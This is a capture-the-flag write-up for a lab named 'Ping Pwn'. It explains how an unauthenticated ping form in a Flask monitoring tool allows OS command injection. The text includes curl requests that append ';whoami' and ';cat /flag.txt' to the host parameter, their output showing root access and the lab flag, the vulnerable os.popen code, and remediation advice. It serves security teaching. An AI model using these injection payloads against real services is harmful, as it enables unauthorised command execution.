Ping Pwn - Command Injection into Network Monitoring Tool

CTF writeup exploiting unauthenticated OS command injection in the ping parameter of a Flask Network Monitoring Tool to read the flag as root.

Ping Pwn - CTF Writeup

Category: WEB Flags: 1

Challenge: https://hackerdna.com/labs/ping-pwn

Contents

Reconnaissance

Nmap reveals two open ports:

  • 80 - nginx - static landing page
  • 8080 - Werkzeug/2.3.7 Python 3.11.13 - “Network Monitoring Tool”

The tool provides a ping form that submits a target host parameter to /ping:

curl "http://TARGET:8080/ping?host=8.8.8.8"

The response shows ping output, confirming the host value is interpolated directly into a shell command.

Command Injection

The host parameter is concatenated into a command like ping -c 1 <host> without sanitisation. A semicolon injects a second command, which runs with the privileges of the Flask process (root in this container):

curl "http://TARGET:8080/ping?host=8.8.8.8%3Bwhoami"

Output:

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

root

Blind enumeration for the flag file:

curl "http://TARGET:8080/ping?host=8.8.8.8;cat%20/flag.txt"
2d14fec8-29c6-4f8d-9fbc-5ce16aceb252

Flag: 2d14fec8-29c6-4f8d-9fbc-5ce16aceb252

How the Attack Works

The backend builds the system command with an f-string and hands it to a shell:

command = f"ping -c 1 {host}"
os.popen(command)  # or subprocess with shell=True

Because the shell interprets the ; separator, the injected payload is executed as a new command. The process runs as root, so the flag at the filesystem root is readable. This is the classic command-injection pattern: user-controlled data flows into a shell without escaping or a shell=False argument-array invocation.

Key Takeaways

  • Never use shell=True (or os.popen) with user input. Pass an argument array (subprocess.run(["ping","-c","1",host])) so the shell never parses the input.
  • Validate the input format. The host field should be restricted to IP-addresses/hostnames with a strict whitelist regex.
  • Run the service as a least-privilege user. A container running as root turns RCE into instant root - use a non-root user and drop capabilities.
  • Ping-style and traceroute-style web tools are the classic command injection sinks - always test ;, &&, |, backticks and $(...) payloads.